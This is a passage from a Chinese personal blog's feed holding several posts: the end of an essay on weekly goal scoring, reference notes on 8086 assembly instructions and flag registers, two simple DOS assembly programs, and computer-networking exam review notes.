5x3&#x3D;47分。得分80%以上为优秀、70%为良好，60%为及格，也即38分优秀、33分良好、28分及格。</p><p>我不需要真的不折不扣执行了这么多次任务，我只需要得分28，这周就是合格的。得分38，这周就是优秀的。</p><p>大家可以试试看，刚开始你想得及格分都是很不容易的，但是你只要及格了，就会有成就感；今天都周五了你还离及格差不少分，那你就有紧迫感。凭借这种成就感和紧迫感，就能持续不断地让你去完成你的每个周计划、月计划。</p><p>到后面你会觉得每周给自己定目标并且打分是一件很有意思的事情，你会主动去执行，而不需要痛苦地“坚持”。</p><p>对了，如果一周不及格、甚至一个月不及格，接受它，<strong>别崩溃</strong>。不及格就不及格吧，下周一我又是个活蹦乱跳、精力旺盛的目标管理小王子。</p><p>3、<strong>复利效应</strong>。有一句名言说的是：“我们常常高估自己一年的成就，而低估自己五年的成就”。这句话有人说是巴菲特说的，有人说是比尔盖茨说的，那都不重要。关键是你不要指望你今年就能取得多高的成就，相信我，你年初假如制定了3个计划，年底能完成1个已经很了不起了。</p><p>但是假如我一开始只有1的水平，我一年只能进步10%，达到1.1，那么5年后我就能达到1.61； 十年后我甚至能达到2.6， 2.6的水平跟1相比，用脱胎换骨来形容毫不为过，这就叫做复利效应。而且，随着我们在目标管理上越来越得心应手，我们第一年只能进步10%，也许第二年可以进步12%，第三年可以进步15%，那就是复利上又加复利，真可以令人几年不见刮目相看。</p><p>现在的我，跟五年前相比就已经脱胎换骨了，站的高度和五年前完全不同。所以，你在战略上要重视你五年、十年的成就，战术上不要高估你当下的执行力，千万不要完美主义。</p><p>所以除了制定周计划、月计划、年计划以外，我还有三年五年规划，但那只有寥寥的几条而已，没有具体的执行步骤，也无法制定具体步骤。我只要能一个月一个月、一年一年完成，那么终将逼近我的三年五年计划。</p><h2 id="三小原则"><a href="#三小原则" class="headerlink" title="三小原则"></a>三小原则</h2><p>1、<strong>别崩溃</strong>。无论计划执行得多么糟糕，也千万都不要崩溃，不及格就不及格吧，下周一再来重新制定一周计划。看看我五年以来的计划表，前几年经常有一周、一月不及格的，现在已经很少很少了。这就是我在目标管理上取得成就的证明。曾经我在备考研究生时，国庆假期制定了满满的计划，结果因为回老家、走亲访友等等原因，几乎一点也没有复习，而12月份马上就要考试了，当时我也濒临崩溃的边缘；但我及时调整心态，给了这个星期以合格分，告诉自己就当这周是休养生息的一周，好好休息之后再投入后面的复习中去。靠这个方法，我重整旗鼓，最终成功撑过了考试。</p><p>2、<strong>前半程时间要完成前半程工作量</strong>。每个目标周期内，前半段时间内要完成总目标量的一半，比如周计划，你这周假如30分及格，你需要在周四之前完成15分。我有无数次惨痛经验证明凡事要做在前面，不要在最后deadline的时候来赶，最后两天如果你还差很多分的话，心里会有巨大的压力，很容易崩溃和自暴自弃，何况周末两天很可能会发生预期之外的聚会，完全打乱你的补分计划。假如你养成了把工作做在前面的习惯，你能获得很强大的心理势能，会有一种尽在掌控的感觉。这是非常好的良性循环，可以提升你的自信心。</p><p>3、<strong>每周的目标只订3个</strong>。说是三个，实际你也可以订1-5个，但是订少了我总觉得这周有点白过，订多了我又做不过来，而且我也记不住； 你最好根据自己的经验来制定。</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>目标管理不是短跑而是马拉松长跑、是一个持之以恒与自己谈话的过程，在这个过程中，你会逐渐认识自己的不完美，逐渐喜欢上目标管理这件事情，或者说你喜欢上了自己能掌控自己这件事情。你的生活不再是随波逐流，而是朝着目标快乐地、持续地前进。这是世界上最美好的事情之一。</p><p>有句话说的是：<strong>希望我们有勇气来改变可以改变的事情,有胸怀来接受不可改变的事情,有智慧来分辨两者的不同</strong>。只要持续做目标管理，你终有一天可以拥有这一智慧。</p>]]>
    </content>
    <id>https://wmcoder.net/posts/80c5.html</id>
    <link href="https://wmcoder.net/posts/80c5.html"/>
    <published>2020-10-18T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="目标管理"><a href="#目标管理" class="headerlink" title="目标管理"></a>目标管理</h1><h2 id="三大原则："><a href="#三大原则：" class="headerlink" title="三大原则：">]]>
    </summary>
    <title>目标管理技巧</title>
    <updated>2020-10-18T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="计算机组成原理" scheme="https://wmcoder.net/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"/>
    <category term="计算机组成原理" scheme="https://wmcoder.net/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"/>
    <content>
      <![CDATA[<blockquote><p>mem: memory的简写，表示内存单元<br>reg: register的简写，表示寄存器</p></blockquote><h2 id="LEA"><a href="#LEA" class="headerlink" title="LEA"></a>LEA</h2><blockquote><p>LEA 是微机 8086&#x2F;8088 系列的一条指令，取自英语 Load effective address，即取有效地址，也就是取偏移地址。在微机 8086&#x2F;8088 中有 20 位物理地址，由 16 位段基址向左偏移 4 位再与偏移地址之和得到。地址传送指令之一。LEA 指令用于把源操作数的地址偏移量传送目的操作数。源操作数一定要是一个存贮器操作数，而召的操作数可以是任何的 16 位的通用寄存器，包括指针寄存器&#x2F;变址寄存器。LEA 指令允许源操作数被下标标出，但是不允许使用带有 OFFSET 操作符的 MOV 指令。另外，后面的操作一定要使用被定义的段中的变量偏移量。然而，如果这组仅仅能够通过最后的 ASSUME 伪指令操作存取的话，LEA 指令将把它当作一组偏移量。</p></blockquote><h3 id="指令格式"><a href="#指令格式" class="headerlink" title="指令格式"></a>指令格式</h3><p>如下：<br>LEA reg16,mem<br>LEA指令将存储器操作数mem的4位16进制偏移地址送到指定的寄存器。这里，源操作数必须是存储器操作数，目标操作数必须是16位通用寄存器。因该寄存器常用来作为地址指针，故在此最好选用四个间址寄存器BX,BP,SI,DI之一。<br>LEA 取有效地址指令 （Load Effective Address )<br>指令格式：LEA 目的，源<br>解释：指定的寄存器的内容被标出的变量偏移量取代，也可以用标号，或地址表达式所取代。<br>指令功能：取源操作数地址的偏移量，并把它传送到目的操作数所在的单元。如：<br>LEA BX ，BUFFER<br>LEA AX，[BX] [DI] (j基址加变址寻址)<br>LEA DX，DATA [BX] [SI] (相对基址加变址寻址)  [3]<br>LEA 指令要求源操作数必须是存储单元，而且目的操作数必须是一个除段寄存器之外的16位或32位寄存器。当目的操作数是16位通用寄存器时，那么只装入有效地址的低16位。使用时要注意它与MOV指令的区别，MOV指令传送的一般是源操作数中的内容而不是地址。</p><h3 id="举例"><a href="#举例" class="headerlink" title="举例"></a>举例</h3><ul><li>例1 假设：SI&#x3D;1000H , DS&#x3D;5000H, (51000H)&#x3D;1234H<ul><li>执行指令 LEA BX , [SI]后，BX&#x3D;1000H</li><li>执行指令 MOV BX , [SI]后，BX&#x3D;1234H</li></ul></li></ul><p><strong>有时，LEA指令也可用取偏移地址的MOV指令替代。</strong></p><ul><li>例2 下面两条指令就是等价的，他们都取TABLE的偏移地址，然后送到BX中，即<ul><li>LEA BX,TABLE</li><li>MOV BX,OFFSET TABLE</li></ul></li></ul><p>但有些时候，必须使用LEA指令来完成某些功能，不能用MOV指令来实现，必须使用下面指令：<br>LEA BX, 6[DI]<br>解释：某数组含20个元素，每个元素占一个字节，序号为0~19。设DI指向数组开头处，如果把序号为6的元素的偏移地址送到BX中。</p><h3 id="LEA与MOV指令"><a href="#LEA与MOV指令" class="headerlink" title="LEA与MOV指令"></a>LEA与MOV指令</h3><p><strong>LEA指令和MOV指令一样是移动数据，但是与MOV不同的是，它移动的是“[ ]”里面的内容</strong>，例如：LEA EAX,[ECX]中，执行这条指令相当于MOV EAX,ECX。而MOV EAX,[ECX]是把“[ ]”里面的数据当成是内存地址编号，取地址里面的内容。<br>注意LEA指令与MOV指令的区别，比较下面两条指令：<br>　　LEA BX, BUFFER<br>　　MOV BX, BUFFER<br><strong>前者将存储器变量BUFFER的偏移地址送到BX</strong>，而<strong>后者将存储器变量BUFFER的内容（两个字节）传送到BX</strong>。</p><p>当然也可以用MOV指令来得到存储器的偏移地址，例如以下两条指令的效果相同：<br>　　LEA BX, BUFFER<br>　　MOV BX, OFFSET BUFFER<br>其中，OFFSET BUFFER表示存储器变量BUFFER的偏移地址。</p><hr><h2 id="HLT"><a href="#HLT" class="headerlink" title="HLT"></a>HLT</h2><p>在汇编语言中，本指令是处理器**“<strong>暂停</strong>”**指令。</p><p>功能：<br>使程序停止运行，处理器进入暂停状态，不执行任何操作，不影响标志。当复位（外语：RESET）线上有复位信号、CPU响应非屏蔽中断、CPU响应可屏蔽中断3种情况之一时，CPU脱离暂停状态，执行HLT的下一条指令。<br>【指令格式】HLT 指令没有操作数。</p><hr><h2 id="XCHG"><a href="#XCHG" class="headerlink" title="XCHG"></a>XCHG</h2><blockquote><p>交换指令XCHG是两个寄存器，寄存器和内存变量之间内容的交换指令，两个操作数的数据类型要相同，可以是一个字节，也可以是一个字，也可以是双字。功能：交换两个操作数的数据，</p></blockquote><ul><li>XCHG CH,AL 寄存器之间相互交换，字节操作</li><li>XCHG BX,SI 寄存器之间相互交换，字操作</li><li>XCHG [SI],CX 存储器与寄存器之间交换，字操作 </li><li>**该指令的功能和MOV指令不同，后者是一个操作数的内容被修改，而前者是两个操作数都会发生改变。**寄存器不能是段寄存器，两个操作数也不能同时为内存变量。 XCHG指令不影响标志位。</li></ul><hr><h2 id="SCASB"><a href="#SCASB" class="headerlink" title="SCASB"></a>SCASB</h2><h3 id="作用"><a href="#作用" class="headerlink" title="作用:"></a>作用:</h3><p>　　对于字节串，执行（AL）-(DI)；根据执行结果设置状态位，但执行结果不改变DI所指向的内存单元的值。</p><p>　　根据DF的值及使用的指令是SCASB修改SI和DI，使SI和DI指向串处理方向的下一个元素。</p><h3 id="使用条件"><a href="#使用条件" class="headerlink" title="使用条件:"></a>使用条件:</h3><p>　　目的串是在附加数据段ES定义的，根据串的类型选用指令SCASB</p><p>　　指令规定用DI指向目的串，DI的初始值指向串首或者串尾。</p><p> 根据具体情况决定串的处理方向，根据串的处理方向设置DF的值。如果从串首到串尾处理串，必须设置DF&#x3D;0（CLD），DI的初始值指向串首；如果从串尾到串首处理串，必须设置DF&#x3D;1（STD），DI的初始值指向串尾；源串和目的串的处理方向是一致的。</p><hr><h2 id="PUSH、POP"><a href="#PUSH、POP" class="headerlink" title="PUSH、POP"></a>PUSH、POP</h2><p><img src="/medias/legacy/cdn.jsdelivr.net/64753940d9898c77.png" alt="PUSH、POP" loading="lazy"></p><hr><h2 id="标志位介绍"><a href="#标志位介绍" class="headerlink" title="标志位介绍"></a>标志位介绍</h2><p><img src="/medias/legacy/cdn.jsdelivr.net/c96d43630d3b49da.png" alt="标志位位置" loading="lazy"></p><p><img src="/medias/legacy/cdn.jsdelivr.net/f7125416bc803ce5.png" alt="标志位简介" loading="lazy"></p><h2 id="一、运算结果标志位"><a href="#一、运算结果标志位" class="headerlink" title="一、运算结果标志位"></a>一、运算结果标志位</h2><h3 id="1、进位标志CF-Carry-Flag"><a href="#1、进位标志CF-Carry-Flag" class="headerlink" title="1、进位标志CF(Carry Flag)"></a>1、进位标志CF(Carry Flag)</h3><p>进位标志CF主要用来反映运算是否产生<strong>进位或借位</strong>。如果运算结果的最高位产生了一个进位或借位，那么，其值为1，否则其值为0。</p><p>使用该标志位的情况有：多字(字节)数的加减运算，无符号数的大小比较运算，移位操作，字(字节)之间移位，专门改变CF值的指令等。</p><h3 id="2、奇偶标志PF-Parity-Flag"><a href="#2、奇偶标志PF-Parity-Flag" class="headerlink" title="2、奇偶标志PF(Parity Flag)"></a>2、奇偶标志PF(Parity Flag)</h3><p>奇偶标志PF用于反映运算结果中**“1”的个数的奇偶性**。如果“1”的个数为偶数，则PF的值为1，否则其值为0。</p><p>利用PF可进行奇偶校验检查，或产生奇偶校验位。在数据传送过程中，为了提供传送的可靠性，如果采用奇偶校验的方法，就可使用该标志位。</p><h3 id="3、辅助进位标志AF-Auxiliary-Carry-Flag"><a href="#3、辅助进位标志AF-Auxiliary-Carry-Flag" class="headerlink" title="3、辅助进位标志AF(Auxiliary Carry Flag)"></a>3、辅助进位标志AF(Auxiliary Carry Flag)</h3><p>在发生下列情况时，辅助进位标志AF的值被置为1，否则其值为0：</p><p><strong>(1)、在字操作时，发生低字节向高字节进位或借位时；</strong><br><strong>(2)、在字节操作时，发生低4位向高4位进位或借位时。</strong></p><p>对以上6个运算结果标志位，在一般编程情况下，标志位CF、ZF、SF和OF的使用频率较高，而标志位PF和AF的使用频率较低。</p><h3 id="4、零标志ZF-Zero-Flag"><a href="#4、零标志ZF-Zero-Flag" class="headerlink" title="4、零标志ZF(Zero Flag)"></a>4、零标志ZF(Zero Flag)</h3><p>零标志ZF用来反映<strong>运算结果是否为0</strong>。如果运算结果为0，则其值为1，否则其值为0。在判断运算结果是否为0时，可使用此标志位。</p><h3 id="5、符号标志SF-Sign-Flag"><a href="#5、符号标志SF-Sign-Flag" class="headerlink" title="5、符号标志SF(Sign Flag)"></a>5、符号标志SF(Sign Flag)</h3><p>符号标志SF用来反映<strong>运算结果的符号位，它与运算结果的最高位相同</strong>。在微机系统中，有符号数采用补码表示法，所以，SF也就反映运算结果的正负号。运算结果为正数时，SF的值为0，否则其值为1。</p><h3 id="6、溢出标志OF-Overflow-Flag"><a href="#6、溢出标志OF-Overflow-Flag" class="headerlink" title="6、溢出标志OF(Overflow Flag)"></a>6、溢出标志OF(Overflow Flag)</h3><p>溢出标志OF用于反映<strong>有符号数加减运算所得结果是否溢出</strong>。如果运算结果超过当前运算位数所能表示的范围，则称为溢出，OF的值被置为1，否则，OF的值被清为0。</p><p>“溢出”和“进位”是两个不同含义的概念，不要混淆。如果不太清楚的话，请查阅《计算机组成原理》课程中的有关章节。</p><h2 id="二、状态控制标志位"><a href="#二、状态控制标志位" class="headerlink" title="二、状态控制标志位"></a>二、状态控制标志位</h2><p>状态控制标志位是用来控制CPU操作的，它们要通过专门的指令才能使之发生改变。</p><h3 id="1、追踪标志TF-Trap-Flag"><a href="#1、追踪标志TF-Trap-Flag" class="headerlink" title="1、追踪标志TF(Trap Flag)"></a>1、追踪标志TF(Trap Flag)</h3><p>当追踪标志TF被置为1时，CPU进入单步执行方式，即每执行一条指令，产生一个单步中断请求。这种方式主要用于程序的调试。</p><p>指令系统中没有专门的指令来改变标志位TF的值，但程序员可用其它办法来改变其值。</p><h3 id="2、中断允许标志IF-Interrupt-enable-Flag"><a href="#2、中断允许标志IF-Interrupt-enable-Flag" class="headerlink" title="2、中断允许标志IF(Interrupt-enable Flag)"></a>2、中断允许标志IF(Interrupt-enable Flag)</h3><p>中断允许标志IF是用来决定CPU是否响应CPU外部的可屏蔽中断发出的中断请求。但不管该标志为何值，CPU都必须响应CPU外部的不可屏蔽中断所发出的中断请求，以及CPU内部产生的中断请求。具体规定如下：</p><p>(1)、当IF&#x3D;1时，CPU可以响应CPU外部的可屏蔽中断发出的中断请求；</p><p>(2)、当IF&#x3D;0时，CPU不响应CPU外部的可屏蔽中断发出的中断请求。</p><p>CPU的指令系统中也有专门的指令来改变标志位IF的值。</p><h3 id="3、方向标志DF-Direction-Flag"><a href="#3、方向标志DF-Direction-Flag" class="headerlink" title="3、方向标志DF(Direction Flag)"></a>3、方向标志DF(Direction Flag)</h3><p>方向标志 DF 用来决定在串操作指令执行时有关指针寄存器发生调整的方向。具体规定在第 5.2.11 节“字符串操作指令”中给出。在微机的指令系统中，还提供了专门的指令来改变标志位 DF 的值。</p><h2 id="三、32位标志寄存器增加的标志位"><a href="#三、32位标志寄存器增加的标志位" class="headerlink" title="三、32位标志寄存器增加的标志位"></a>三、32位标志寄存器增加的标志位</h2><h3 id="1、I-O特权标志IOPL-I-O-Privilege-Level"><a href="#1、I-O特权标志IOPL-I-O-Privilege-Level" class="headerlink" title="1、I&#x2F;O特权标志IOPL(I&#x2F;O Privilege Level)"></a>1、I&#x2F;O特权标志IOPL(I&#x2F;O Privilege Level)</h3><p>I&#x2F;O特权标志用两位二进制位来表示，也称为I&#x2F;O特权级字段。该字段指定了要求执行I&#x2F;O指令的特权级。如果当前的特权级别在数值上小于等于IOPL的值，那么，该I&#x2F;O指令可执行，否则将发生一个保护异常。</p><h3 id="2、嵌套任务标志NT-Nested-Task"><a href="#2、嵌套任务标志NT-Nested-Task" class="headerlink" title="2、嵌套任务标志NT(Nested Task)"></a>2、嵌套任务标志NT(Nested Task)</h3><p>嵌套任务标志NT用来控制中断返回指令IRET的执行。具体规定如下：</p><p>(1)、当NT&#x3D;0，用堆栈中保存的值恢复EFLAGS、CS和EIP，执行常规的中断返回操作；</p><p>(2)、当NT&#x3D;1，通过任务转换实现中断返回。</p><h3 id="3、重启动标志RF-Restart-Flag"><a href="#3、重启动标志RF-Restart-Flag" class="headerlink" title="3、重启动标志RF(Restart Flag)"></a>3、重启动标志RF(Restart Flag)</h3><p>重启动标志RF用来控制是否接受调试故障。规定：RF&#x3D;0时，表示“接受”调试故障，否则拒绝之。在成功执行完一条指令后，处理机把RF置为0，当接受到一个非调试故障时，处理机就把它置为1。</p><h3 id="4、虚拟8086方式标志VM-Virtual-8086-Mode"><a href="#4、虚拟8086方式标志VM-Virtual-8086-Mode" class="headerlink" title="4、虚拟8086方式标志VM(Virtual 8086 Mode)"></a>4、虚拟8086方式标志VM(Virtual 8086 Mode)</h3><p>如果该标志的值为1，则表示处理机处于虚拟的8086方式下的工作状态，否则，处理机处于一般保护方式下的工作状态。</p><h2 id="标志位操作指令"><a href="#标志位操作指令" class="headerlink" title="标志位操作指令"></a>标志位操作指令</h2><p>标志位操作指令是一组对标志位置位、复位、保存和恢复等操作的指令。</p><h3 id="1、进位CF操作指令"><a href="#1、进位CF操作指令" class="headerlink" title="1、进位CF操作指令"></a>1、进位CF操作指令</h3><ul><li>清进位指令CLC(Clear Carry Flag)：CF←0</li><li>置进位指令STC(Set Carry Flag)：CF←1</li><li>进位取反指令CMC(Complement Carry Flag)：CF←not CF</li></ul><h3 id="2、方向位DF操作指令"><a href="#2、方向位DF操作指令" class="headerlink" title="2、方向位DF操作指令"></a>2、方向位DF操作指令</h3><ul><li>清方向位指令CLD(Clear Direction Flag)：DF←0</li><li>置方向位指令STD(Set Direction Flag)：DF←1</li></ul><h3 id="3、中断允许位IF操作指令"><a href="#3、中断允许位IF操作指令" class="headerlink" title="3、中断允许位IF操作指令"></a>3、中断允许位IF操作指令</h3><ul><li><p>清中断允许位指令CLI(Clear Interrupt Flag)：IF←0<br>其功能是不允许可屏蔽的外部中断来中断其后程序段的执行。</p></li><li><p>置中断允许位指令STI(Set Interrupt Flag)：IF←1<br>其功能是恢复可屏蔽的外部中断的中断响应功能，通常是与CLI成对使用的。</p></li></ul><h3 id="4、取标志位操作指令"><a href="#4、取标志位操作指令" class="headerlink" title="4、取标志位操作指令"></a>4、取标志位操作指令</h3><ul><li>LAHF(Load AH from Flags)：AH←Flags的低8位</li><li>SAHF(Store AH in Flags)：Flags的低8位←AH</li></ul><h3 id="5、标志位堆栈操作指令"><a href="#5、标志位堆栈操作指令" class="headerlink" title="5、标志位堆栈操作指令"></a>5、标志位堆栈操作指令</h3><ul><li>PUSHF&#x2F;PUSHFD(Push Flags onto Stack)：把16位&#x2F;32位标志寄存器进栈；</li><li>POPF&#x2F;POPFD(Pop Flags off Stack)：把16位&#x2F;32位标志寄存器出栈；</li></ul>]]>
    </content>
    <id>https://wmcoder.net/posts/77fc.html</id>
    <link href="https://wmcoder.net/posts/77fc.html"/>
    <published>2020-09-20T04:00:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>mem: memory的简写，表示内存单元<br>reg: register的简写，表示寄存器</p>
</blockquote>
<h2 id="LEA"><a href="#LEA" class="headerlink" title="LEA"]]>
    </summary>
    <title>汇编语言指令</title>
    <updated>2020-09-20T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="计算机组成原理" scheme="https://wmcoder.net/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"/>
    <category term="计算机组成原理" scheme="https://wmcoder.net/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"/>
    <content>
      <![CDATA[<h2 id="显示一个固定的字符串"><a href="#显示一个固定的字符串" class="headerlink" title="显示一个固定的字符串"></a>显示一个固定的字符串</h2><pre class="language-bash" data-language="bash"><code class="language-bash">TITLE  STRING <span class="token environment constant">DISPLAY</span><span class="token punctuation">;</span> DATA SEGMENTSTRING1 DB <span class="token string">'WELCOME TO XTU $'</span> ；字符串以’$’符号结尾，以单引号括起来DATA ENDSCODE SEGMENT  ASSUME CS:CODE,DS:DATASTART:  PUSH DS  MOV AX,0  PUSH AX  MOV AX,DATA  MOV DS,AX  LEA DX,STRING1  MOV AH,9；DOS功能调用，在屏幕上显示字符串  INT 21H   ；DOS中断  MOV AH,4CH  INT 21HCODE ENDS  END START该程序成功显示了固定字符串WELCOME TO XTU，完成了字符显示程序。</code></pre><h2 id="寻找字符串中某个字符的数量"><a href="#寻找字符串中某个字符的数量" class="headerlink" title="寻找字符串中某个字符的数量"></a>寻找字符串中某个字符的数量</h2><pre class="language-bash" data-language="bash"><code class="language-bash">TITLE  calculate word quantity<span class="token punctuation">;</span> DATA SEGMENTSTRING1 DB <span class="token string">'ABAaAAAAABaaaaaBBBBBB'</span>  <span class="token punctuation">;</span>输入待检测的字符串STRING2 DB <span class="token string">'B'</span>           <span class="token punctuation">;</span>给定要检测的那个数<span class="token punctuation">;</span>STRING3 DB STRING2-STRING1 DATA ENDSCODE SEGMENT  ASSUME CS:CODE,DS:DATA,ES:DATASTART:  MOV  AX,DATA <span class="token punctuation">;</span>将数据送给AX  MOV  DS,AX   <span class="token punctuation">;</span>将AX中的数据送到DS  MOV  ES,AX   <span class="token punctuation">;</span>将AX中的数据送到ES    MOV  DI,OFFSET STRING1  <span class="token punctuation">;</span>将字符串1的偏移地址送到DI  MOV  AL,STRING2         <span class="token punctuation">;</span>将字符串2的内容送给AL  MOV  CX,50              <span class="token punctuation">;</span>设置循环次数NEXT:                        <span class="token punctuation">;</span>调用一个函数  CMP <span class="token punctuation">[</span>DI<span class="token punctuation">]</span>,AL              <span class="token punctuation">;</span>以DI里的内容为地址所对应的数与AL比较  JNE NO_FOUND             <span class="token punctuation">;</span>比较结果如果不相等，跳转到NO_FOUND  INC BX                  <span class="token punctuation">;</span>如果比较结果相等，则执行这条语句，BX自加1  NO_FOUND:  INC DI            <span class="token punctuation">;</span>比较结果不等，则让DI自加，让字符串1的下一个字符                    <span class="token punctuation">;</span>进行比较  LOOP NEXT                 <span class="token punctuation">;</span>回到NEXT比较,直到CX为0  MOV  DL,BL                <span class="token punctuation">;</span>将计好的数给DL    ADD DL,30H                <span class="token punctuation">;</span>将DL转换成ASCII码  MOV  AH,02  INT  21H  MOV  AH,4CH  INT  21HCODE ENDSEND START</code></pre>]]>
    </content>
    <id>https://wmcoder.net/posts/d72.html</id>
    <link href="https://wmcoder.net/posts/d72.html"/>
    <published>2020-09-15T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="显示一个固定的字符串"><a href="#显示一个固定的字符串" class="headerlink" title="显示一个固定的字符串"></a>显示一个固定的字符串</h2><pre class="language-bash" data-language=]]>
    </summary>
    <title>微机原理两个程序</title>
    <updated>2020-09-15T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="计算机网络" scheme="https://wmcoder.net/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
    <category term="计算机网络" scheme="https://wmcoder.net/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
    <content>
      <![CDATA[<p>题型：选择、填空简答、问答、名词解释、计算设计</p><h2 id="一、概述"><a href="#一、概述" class="headerlink" title="一、概述 ."></a>一、概述 .</h2><ol><li>计算机网络的几种不同分类</li></ol><p> (1) 按交换功能分为：电路交换；报文交换；分组交换；混合交换。</p><p> (2) 按网络的作用范围分类：广域网；局域网；城域网；接入网</p><p> (3) 按网络使用者分类：公用网；专用网</p><ol start="2"><li>带宽</li></ol><p>  带宽本来指信道上具有的频带宽度，带宽的单位是赫。人们都将带宽作为数字信道所能传送的最高数据率。</p><p>  （计算机中字节作为度量的单位。一个字节代表 8 个比特，它的缩写是大写的 B. 千字节的千用大写表示，它等于 2^10. 即 1024 而不是 1000 ， 1MB&#x3D;2^20 等。在通信领域 k 表示 10^3. ）</p><ol start="3"><li>时延</li></ol><p> (1)  时延是指一个报文或分组从一个网络（或一个链路）的一端传送到另一端所需的时间。</p><p> (2) 发送时延 &#x3D; 数据块长度 &#x2F; 信道带宽</p><p> (3) 传播时延 &#x3D; 信道长度 &#x2F; 电磁波在信道上的传播速率</p><p> (4) 总时延 &#x3D; 传播时延 + 发送时延 + 处理时延</p><p> (5) 对于高速网络链路，我们提高的仅仅是数据的发送速率而不是比特在链路上的传播速率。</p><ol start="4"><li>计算机网络划分层次的必要性</li></ol><p> (1) 为进行网络中的数据交换而建立的规则、标准或约定即称为网络协议，其主要由三个要素组成。</p><p>语法，数据与控制信息的结构或格式</p><p>语义，需要发出何种控制信息，完成何种控制动作以及做出何种响应</p><p>同步，时间实现顺序的详细说明</p><p>(2) 其带来的好处：</p><p>各层之间是独立的；灵活性好；结构上可分割；易于实现和维护；能促进标准化工作。每一层所要实现的一般功能有一种或多种：流量控制；差错控制；分装盒重装；复用和分用；链接建立和释放。</p><p>(3) 缺点：有些功能会再不同的层次中重复出现，因而产生了额外的开销。</p><ol start="5"><li>具有五层协议的体系结构</li></ol><p> (1) 应用层，是体系结构中的最高层，直接为用户的应用进程提供服务。</p><p> (2) 运输层，任务是负责两个主机中进程之间的通信。</p><p>  （可使用两种不同的协议：传输控制协议 TCP ，面向链接的，数据传输的单位是报文段，能提供可靠的交付；用户数据协议 UDP ，无连接的，数据传输单位是用户数据报，不保证提供可靠的交付，只能提供尽最大努力的交付。）</p><p> (3) 网络层，负责为分组交换网上的不同主机提供通信。因特网主要的网络层协议是无连接的网际协议 IP 。</p><p>  (4) 数据链路层，在发送数据时，它将网际层交下来的 IP 数据报组装成帧，在两个相邻结点间的链路上传送以帧为单位的数据。</p><p> (5) 物理层，主要任务就是透明地传送比特流。</p><p>（在 OSI 参考模型中，在对等层次上传送的数据，其单位都称为该层的  协议数据单元 PDU 。）</p><ol start="6"><li>实体、协议、服务和服务访问点</li></ol><p>(1) 实体表示任何可发送或接收信息的硬件或软件进程；协议是控制两个对等实体进行通信的规则的集合。</p><p>(2) 在协议的控制下，两个对等的实体间的通信使得本层能够向上一层提供服务。要实现本层协议，还需要使用下面一层所提供的服务。</p><p>(3) 本层的服务用户只能看见服务而无法看见下面的协议。下面的协议对上面的服务用户是透明的。其次，协议是水平的，是控制对等实体之间的通信规则；但服务是垂直的，是由下层向上层通过层间接口提供的。另外明知有那些被高一层看得见的功能才能称为服务。（协议与服务概念的根本区别）</p><ol start="7"><li>面向连接与无连接服务。</li></ol><p> (1) 面向连接服务具有连接建立、数据传输和连接释放三个阶段，适合于在一定期间内要向同一目的地发送许多报文的情况。</p><p> (2) 无连接服务不需要先建立好一个连接，其下层的有关资源不需要事先进行预定保留。其优点是灵活方便和比较迅速，但不能防止报文的丢失、重复或失序。</p><p>8.OSI 与 TCP&#x2F;IP 体系结构的比较</p><p> (1)TCP&#x2F;IP 一开始就考虑到多种异构网的互联问题，并将网际协议 IP 作为 TCP&#x2F;IP 的重要组成部分。</p><p> (2)TCP&#x2F;IP 一开始就对面向连接服务和无连接服务并重，而 OSI 在开始时只强调面向连接这一种服务。</p><p> TCP&#x2F;IP 较早就有较好的网络管理功能。</p><h2 id="二、物理层"><a href="#二、物理层" class="headerlink" title="二、物理层"></a>二、物理层</h2><ol><li>有关信道的几个基本概念</li></ol><p>  信道一般都是用来表示向某一个方向传送信息的媒体。一条通信电路往往包含一跳发送信道和一条接收信道。</p><p>从通信的双方信息交互方式来看，可以有三个基本方式：</p><p>单向通信，只有一个方向没有反方向的交互；双向交替通信，又称半双工通信，双方都可以发送信息，但不能同时发送或接收；双向同时通信，双方可以同时发送和接收信息。</p><p>  信道上传送的信号还有基带信号和宽带信号之分。基带信号是将数字信号 1 或 0 直接用两种不同的电压来表示，然后送到线路上去传输；而宽甸信号则是将基带信号进行调制后形成的频分复用模拟信号。</p><ol start="2"><li>信道的最高码元传输速率</li></ol><p>  码元传输的速率越高，或信号传输的距离越远，在信道的输出端的波形的失真就越严重。</p><p>  奈氏准则：理想低通信道的最高码元传输速率 &#x3D;2W Baud ， W 是理想低通信道的带宽，单位为赫， Baud 是波特，是码元传输速率的单位， 1 波特为每秒传送 1 个码元。</p><p>  理想带通信道的最高码元 &#x3D;W Baud 。</p><p>  一个实际的信道所能传输的最高码元速率要明显低于奈氏准则给出的这个上限数值。波特是码元传输的速率单位，它说明每秒传多少个码元。比特是信息量的单位。</p><p>  香农公式： C&#x3D;W long2 （ 1+s&#x2F;n ）  b&#x2F;s W 为信道的带宽， S 为信道内所传信号的平均功率， N 为信道内部的高斯噪音功率。</p><p>  由于码元的传输速率受到奈氏准则的制约，所以要提高信息的传输速率就必须设法使每一个码元能鞋带更多个比特的信息量。</p><ol start="3"><li>导向传输媒体</li></ol><p>  双绞线：屏蔽双绞线 STP ；无屏蔽双绞线</p><p>  同轴电缆 :50 欧姆同轴电缆，主要用于在数据通信中传送基带数字信号，传输速率越高，所能传送的距离就越短； 75 欧姆同轴电缆，这种同轴电缆用于模拟传输系统。</p><p>  